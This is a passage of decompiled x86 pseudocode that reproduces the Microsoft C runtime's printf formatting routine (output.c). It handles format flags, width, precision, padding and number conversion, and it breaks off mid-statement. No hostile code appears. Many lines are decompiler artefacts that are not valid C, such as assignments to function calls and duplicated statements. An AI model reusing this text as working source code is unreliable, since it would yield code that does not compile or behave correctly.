										__edx =  *(__ebp - 0x4a8);
										__eax =  *(__ebp - 0x4a4);
										__eax =  *(__ebp - 0x4a4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x4a4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x249;
								 *(__ebp - 4) = __ebp - 0x249;
								while(1) {
									L178:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L180;
									}
									L179:
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										L183:
										__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L187:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L212;
												}
												L188:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																__edx = 0x20;
																 *(__ebp - 0x14) = __dx;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__eax = 0x2b;
															 *(__ebp - 0x14) = __ax;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														__ecx = 0x2d;
														 *(__ebp - 0x14) = __cx;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x4ac);
													__eax = E0043C990(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
												}
												__edx = __ebp - 0x44c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E0043C9D0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E0043C990(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) != 0) {
													L208:
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x24);
													__edx =  *(__ebp - 4);
													__eax = E0043C9D0(__ecx,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
													goto L209;
												} else {
													L201:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L208;
													}
													L202:
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x4b0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
													while(1) {
														L203:
														__ecx =  *(__ebp - 0x4b4);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														__eflags = __ecx;
														if(__ecx <= 0) {
															break;
														}
														L204:
														__ecx = __ebp - 0x40;
														__eax = E0041ACF0(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041ACF0(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x458 + 0xac);
														__edx =  *(__ebp - 0x4b0);
														__eax = __ebp - 0x458;
														 *(__ebp - 0x4b8) = E0043B430(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
														__eflags =  *(__ebp - 0x4b8);
														if( *(__ebp - 0x4b8) > 0) {
															L206:
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x458) & 0x0000ffff = E0043C930( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															continue;
														}
														L205:
														 *(__ebp - 0x44c) = 0xffffffff;
														break;
													}
													L207:
													L209:
													__eflags =  *(__ebp - 0x44c);
													if( *(__ebp - 0x44c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x4ac) = E0043C990(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
												}
												L212:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													__ecx =  *(__ebp - 0x20);
													__eax = L0041C3E0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L214:
													 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
													_t502 =  *(_t525 - 0x454) & 0x0000ffff;
													 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
													if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
														break;
													} else {
														if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
															 *(_t525 - 0x4d8) = 0;
														} else {
															 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
														}
													}
													L7:
													 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
													_t519 =  *(_t525 - 0x450) * 9;
													_t490 =  *(_t525 - 0x45c);
													_t510 = ( *(_t519 + _t490 + 0x407e38) & 0x000000ff) >> 4;
													 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0x407e38) & 0x000000ff) >> 4;
													if( *(_t525 - 0x45c) != 8) {
														L16:
														 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
														__eflags =  *(_t525 - 0x4e0) - 7;
														if( *(_t525 - 0x4e0) > 7) {
															continue;
														}
														L17:
														switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M0043C824))) {
															case 0:
																L18:
																 *(_t525 - 0xc) = 1;
																E0043C930( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																_t527 = _t527 + 0xc;
																goto L214;
															case 1:
																L19:
																 *(__ebp - 0x2c) = 0;
																__ecx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) = __ecx;
																__edx =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__eax =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L214;
															case 2:
																L20:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e4) = __ecx;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																__eflags =  *(__ebp - 0x4e4) - 0x10;
																if( *(__ebp - 0x4e4) > 0x10) {
																	goto L27;
																}
																L21:
																_t57 =  *(__ebp - 0x4e4) + 0x43c85c; // 0x498d04
																__ecx =  *_t57 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M0043C844))) {
																	case 0:
																		goto L24;
																	case 1:
																		goto L25;
																	case 2:
																		goto L23;
																	case 3:
																		goto L22;
																	case 4:
																		goto L26;
																	case 5:
																		goto L27;
																}
															case 3:
																L28:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__edx =  *(__ebp - 0x18);
																	__edx =  *(__ebp - 0x18) * 0xa;
																	__eflags = __edx;
																	_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__ecx = __edx + _t81;
																	 *(__ebp - 0x18) = __ecx;
																} else {
																	__edx = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00428200(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		__ecx =  *(__ebp - 0x18);
																		__ecx =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) = __ecx;
																	}
																}
																L33:
																goto L214;
															case 4:
																L34:
																 *(__ebp - 0x30) = 0;
																goto L214;
															case 5:
																L35:
																__edx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__ecx =  *(__ebp - 0x30);
																	__ecx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __ecx;
																	_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__eax = __ecx + _t92;
																	 *(__ebp - 0x30) = __ecx + _t92;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00428200(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L214;
															case 6:
																L41:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e8) = __ecx;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																__eflags =  *(__ebp - 0x4e8) - 0x2e;
																if( *(__ebp - 0x4e8) > 0x2e) {
																	L64:
																	goto L214;
																}
																L42:
																_t100 =  *(__ebp - 0x4e8) + 0x43c884; // 0xc0919003
																__ecx =  *_t100 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M0043C870))) {
																	case 0:
																		L47:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																			L50:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																				L53:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																				if(( *__ecx & 0x0000ffff) == 0x64) {
																					L59:
																					L61:
																					goto L64;
																				}
																				L54:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x69;
																				if(__ecx == 0x69) {
																					goto L59;
																				}
																				L55:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																					goto L59;
																				}
																				L56:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																				if(( *__ecx & 0x0000ffff) == 0x75) {
																					goto L59;
																				}
																				L57:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x78;
																				if(__ecx == 0x78) {
																					goto L59;
																				}
																				L58:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																					 *(__ebp - 0x45c) = 0;
																					goto L18;
																				}
																				goto L59;
																			}
																			L51:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x32;
																			if(__ecx != 0x32) {
																				goto L53;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				goto L61;
																			}
																		}
																		L48:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x34;
																		if(__ecx != 0x34) {
																			goto L50;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			goto L61;
																		}
																	case 1:
																		L62:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) = __ecx;
																		goto L64;
																	case 2:
																		L43:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		} else {
																			__ecx =  *(__ebp + 0xc);
																			__ecx =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) = __ecx;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L64;
																	case 3:
																		L63:
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																		goto L64;
																	case 4:
																		goto L64;
																}
															case 7:
																L65:
																__eax =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																__ecx =  *(__ebp - 0x4ec);
																__ecx =  *(__ebp - 0x4ec) - 0x41;
																 *(__ebp - 0x4ec) = __ecx;
																__eflags =  *(__ebp - 0x4ec) - 0x37;
																if( *(__ebp - 0x4ec) > 0x37) {
																	while(1) {
																		L187:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
																}
																L66:
																_t141 =  *(__ebp - 0x4ec) + 0x43c8f0; // 0xcccccc0d
																__eax =  *_t141 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043C8B4))) {
																	case 0:
																		L120:
																		 *(__ebp - 0x2c) = 1;
																		 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		 *(__ebp - 0x454) = __ax;
																		goto L121;
																	case 1:
																		L67:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		goto L69;
																	case 2:
																		L82:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L84;
																	case 3:
																		L144:
																		 *(__ebp - 0x460) = 7;
																		L145:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx = 0x30;
																			 *(__ebp - 0x14) = __dx;
																			 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																			__eflags =  *(__ebp - 0x460) + 0x51;
																			 *(__ebp - 0x12) = __ax;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L150;
																	case 4:
																		L75:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x474) = E00428200(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x474);
																		if( *(__ebp - 0x474) == 0) {
																			L77:
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																			L81:
																			goto L187;
																		}
																		L76:
																		__ecx =  *(__ebp - 0x474);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L81;
																		}
																		goto L77;
																	case 5:
																		L121:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L123:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L128:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					__ecx =  *(__ebp - 0x30);
																					__ecx =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B760( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__edx =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__edx =  *(__ebp + 0x14);
																				__eax =  *(__edx - 8);
																				__ecx =  *(__edx - 4);
																				 *(__ebp - 0x490) =  *(__edx - 8);
																				 *(__ebp - 0x48c) =  *(__edx - 4);
																				__ecx = __ebp - 0x40;
																				_push(E0041ACF0(__ebp - 0x40));
																				__edx =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__eax =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__ecx =  *(__ebp - 0x454);
																				_push( *(__ebp - 0x454));
																				__edx =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__eax =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__ecx = __ebp - 0x490;
																				_push(__ebp - 0x490);
																				__edx =  *0x440374; // 0x4b3bc1ec
																				E00424560(__edx) =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041ACF0(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0x4b248c6c
																						E00424560(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041ACF0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x44037c; // 0x4b24956c
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *(__ebp - 4);
																				__edx =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__ecx =  *(__ebp - 4);
																					__ecx =  *(__ebp - 4) + 1;
																					__eflags = __ecx;
																					 *(__ebp - 4) = __ecx;
																				}
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DCC0( *(__ebp - 4));
																				do {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				} while ( *(__ebp - 0x4ec) > 0x37);
																				goto L66;
																			}
																			L124:
																			__eax =  *(__ebp - 0x454) & 0x0000ffff;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																			if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																				goto L126;
																			}
																			L125:
																			 *(__ebp - 0x30) = 1;
																			goto L128;
																		}
																		L122:
																		 *(__ebp - 0x30) = 6;
																		goto L128;
																	case 6:
																		L69:
																		 *(__ebp - 0xc) = 1;
																		__ebp + 0x14 = E00428200(__ebp + 0x14);
																		 *(__ebp - 0x458) = __ax;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0x00000020;
																		__eflags = __ecx;
																		if(__ecx == 0) {
																			__cx =  *(__ebp - 0x458);
																			 *(__ebp - 0x448) = __cx;
																		} else {
																			 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																			 *(__ebp - 0x470) = __dl;
																			 *((char*)(__ebp - 0x46f)) = 0;
																			__ecx = __ebp - 0x40;
																			__eax = E0041ACF0(__ebp - 0x40);
																			__ecx = __ebp - 0x40;
																			E0041ACF0(__ebp - 0x40) =  *__eax;
																			__ecx =  *(__ebp - 0x448 + 0xac);
																			__edx = __ebp - 0x470;
																			__eax = __ebp - 0x448;
																			__eax = E0043B430(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																			__eflags = __eax;
																			if(__eax < 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x24) = 1;
																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	case 7:
																		L141:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L150:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428200(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428200(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __eax;
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428200(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																						 *(__ebp - 0x49c) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
